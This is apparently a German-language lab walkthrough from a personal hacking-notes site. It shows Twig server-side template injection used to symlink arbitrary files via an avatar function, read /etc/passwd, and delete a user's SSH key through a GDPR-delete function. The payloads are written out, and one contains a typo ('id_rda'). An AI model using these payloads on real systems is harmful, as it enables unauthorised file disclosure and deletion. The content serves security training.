> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/ssti-with-custom-exploit.md).

# SSTI mit einem benutzerdefinierten Exploit

### Serverseitige Template-Injektion mit einem benutzerdefinierten Exploit

Die Anwendung ist anfällig für eine SSTI-Injektion. / Das Ziel ist es, einen benutzerdefinierten **exploit** der es Ihnen ermöglicht, die `/home/carlos/.ssh/id_rsa`\*\*-Datei. / Mögliche Verbindung mit Benutzer: `wiener:peter`.

#### Injizierbarer Punkt

Das **Spitzname** Feld ist verwundbar:

```python
}}{{7*7
```

Der Ausdruck wird ausgewertet.

<figure><img src="/files/a387945911bdc595f63b500f4ee9d7b8291fefbe" alt=""><figcaption></figcaption></figure>

Durch Auslösen eines Fehlers:

```php
}}{{7/a
```

Es wird entdeckt, dass die verwendete Engine **Twig (PHP)**.

<figure><img src="/files/8de882b2480791714158c2eff3bf9f27090ecee5" alt=""><figcaption></figcaption></figure>

#### Umleitung der Funktion von D

Es ist möglich, über Folgendes einen benutzerdefinierten Avatar zu definieren:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/cca8ff8b48d4255cba8cf7f03786538d43adc034" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0098ae4275249e5d017b21995900780bcaf5020b" alt="" width="496"><figcaption></figcaption></figure>

Dieser Mechanismus erstellt einen **Symlink** zu jeder lesbaren Datei. / So können Sie Ihren Inhalt wiederherstellen, indem Sie den Avatar herunterladen.

#### Beispiel

Lesen `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

Die Datei ist zugänglich, wenn das Bild geöffnet wird

<figure><img src="/files/029e64ae2337b61058d5f2b357dbf39141fe403a" alt=""><figcaption></figcaption></figure>

#### Code-Analyse `User.php`

Das `/home/carlos/User.php` Die Datei verrät:

<figure><img src="/files/09a5286360053032498176ce4e78b4feab6a3ca6" alt=""><figcaption></figcaption></figure>

\*\*Die `gdprDelete()` Funktion entfernt tatsächlich die Datei, auf die der symbolische Link verweist. \*\*/ Genau das sollte man verwenden, um zu löschen `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Konnte users/" . $this->username . " nicht mkdiren");
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Der MIME-Typ der hochgeladenen Datei ist kein Bild: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Fehler beim Schreiben des Symlinks " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Konnte " . $filename . " nicht löschen");
        }
    }
}

?>
```

#### Vorgang: Entfernung von `/home/carlos/.ssh/id_rsa`

Erstelle einen Symlink zum SSH-Schlüssel von Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Entfernung auslösen über:

```php
user.gdprDelete()
```

Der symbolische Link verweist auf `id_rsa`/ `gdprDelete()` löscht den **Ziel** Link \*\*`id_rsa` Datei wird gelöscht. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
